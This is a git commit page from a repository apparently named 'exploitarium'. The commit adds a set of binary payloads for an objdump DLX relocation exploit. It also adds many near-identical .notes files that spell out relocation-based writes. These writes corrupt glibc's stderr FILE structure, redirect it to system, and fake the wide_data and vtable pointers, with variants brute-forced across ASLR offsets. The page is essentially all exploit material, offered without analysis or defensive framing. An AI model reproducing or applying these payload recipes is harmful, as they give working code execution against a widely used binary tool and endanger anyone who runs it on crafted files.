git404/exploitarium
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Expand objdump DLX ASLR delta coverage

Browse Source
This commit is contained in:
ashton
2026-06-25 06:20:19 -05:00
parent 9454cb7b48
commit e2e34f39b5
100 changed files with 1717 additions and 9 deletions
Download Patch File Download Diff File Expand all files Collapse all files

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b6f300000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f05_b702fff00_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x05
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x702fff00 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f42e600 FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f43e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f43e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f43e6ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s6f43e6ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x6f43e6ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x6f43e6ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s7043e5ff.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b6f300000_s7043e5ff.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x6f300000
wide_delta=0x4fff0000
system_delta=0x7043e5ff
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
012 target=-0x3670 sym=0x6f300000 FILE+0x20 input buffer pointer -> FILE fake wide vtable
013 target=0x37b sym=0x00ffffff patch reloc15 address high dword bytes 0..2
014 target=0x37c sym=0x000000ff patch reloc15 address high dword byte 3
015 target=-0x3628 sym=0x7043e5ff FILE+0x68 _IO_2_1_stderr_ -> system
016 target=0x3db sym=0x00ffffff patch reloc18 address high dword bytes 0..2
017 target=0x3dc sym=0x000000ff patch reloc18 address high dword byte 3
018 target=-0x35f0 sym=0x4fff0000 FILE+0xa0 real wide_data -> FILE-0xc0 fake wide_data
019 target=0x43b sym=0x00ffffff patch reloc21 address high dword bytes 0..2
020 target=0x43c sym=0x000000ff patch reloc21 address high dword byte 3
021 target=-0x35b8 sym=0x00000002 FILE+0xd8 _IO_file_jumps -> interior vtable with finish=_IO_wfile_overflow
022 target=0x0 sym=0x00000000 pad R_DLX_NONE
023 target=0x0 sym=0x00000000 pad R_DLX_NONE
024 target=0x0 sym=0x00000000 pad R_DLX_NONE

BIN
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f42e600.bin Normal file
View File

Binary file not shown.

34
objdump-dlx-calc-poc/payloads/dlx_calc_aslr_gnu2461_f06_b702fff00_s6f42e600.notes Normal file
View File

@@ -0,0 +1,34 @@
layout=gnu2461
flag_byte4=0x06
buf_delta=0x702fff00
wide_delta=0x4fff0000
system_delta=0x6f42e600
command=P
off_io=-0x3690 off_sec=0xbb8 rbase=0x190
sec_size_offset=0x40
000 target=0x1db sym=0x00ffffff patch reloc2 address high dword bytes 0..2
001 target=0x1dc sym=0x000000ff patch reloc2 address high dword byte 3
002 target=-0x3691 sym=0x00d824ad stage write bytes at -0x3690
003 target=0x23b sym=0x00ffffff patch reloc5 address high dword bytes 0..2
004 target=0x23c sym=0x000000ff patch reloc5 address high dword byte 3
005 target=-0x3690 sym=0x000000fb finish write bytes at -0x3690
006 target=0xbf7 sym=0x00ffffff stage write bytes at 0xbf8
007 target=0xbf8 sym=0x000000ff finish write bytes at 0xbf8
008 target=0xbfb sym=0x00ffffff stage write bytes at 0xbfc
009 target=0xbfc sym=0x000000ff finish write bytes at 0xbfc
010 target=0x31b sym=0x00ffffff patch reloc12 address high dword bytes 0..2
011 target=0x31c sym=0x000000ff patch reloc12 address high dword byte 3
